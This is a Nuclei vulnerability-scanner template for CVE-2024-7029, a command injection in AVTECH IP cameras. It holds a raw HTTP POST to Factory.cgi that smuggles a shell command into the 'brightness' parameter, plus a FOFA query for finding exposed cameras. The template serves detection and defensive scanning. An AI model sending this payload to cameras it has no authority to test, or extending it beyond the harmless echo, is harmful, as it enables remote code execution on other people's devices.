nuclei-templates/http/cves/2024/CVE-2024-7029.yaml

56 lines
1.7 KiB
YAML

id: CVE-2024-7029
info:
name: AVTECH IP Camera - Command Injection
author: DhiyaneshDK
severity: high
description: |
The endpoint `/cgi-bin/supervisor/Factory.cgi` is vulnerable to command injection via the `action` parameter, allowing remote code execution.
reference:
- https://www.akamai.com/blog/security-research/2024-corona-mirai-botnet-infects-zero-day-sirt
- https://www.cisa.gov/news-events/ics-advisories/icsa-24-214-07
- https://github.com/fkie-cad/nvd-json-data-feeds
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/Ostorlab/KEV
- https://github.com/bigherocenter/CVE-2024-7029-EXPLOIT/blob/main/CVE-2024-7029.py
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2024-7029
cwe-id: CWE-77
epss-score: 0.00043
epss-percentile: 0.09555
metadata:
verified: true
max-request: 1
fofa-query: body="AVTECH Software"
tags: cve,cve2024,avtech,rce,kev,intrusive
variables:
string: "{{randstr}}"
http:
- raw:
- |
POST /cgi-bin/supervisor/Factory.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=white_led&brightness=$(echo%20{{string}}+2>&1)
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{string}}"
- type: word
part: content_type
words:
- "text/plain"
- type: status
status:
- 200
# digest: 4b0a004830460221008a2b017609e968f621853ea87a5580cbbd41bee62c3b9f42a2d27c975ee702c8022100fb7f8d863694679bce9aeb944a98764b24ebf9b76c558b0fb040cb8460b63dca:922c64590222798bb761d5b6d8e72950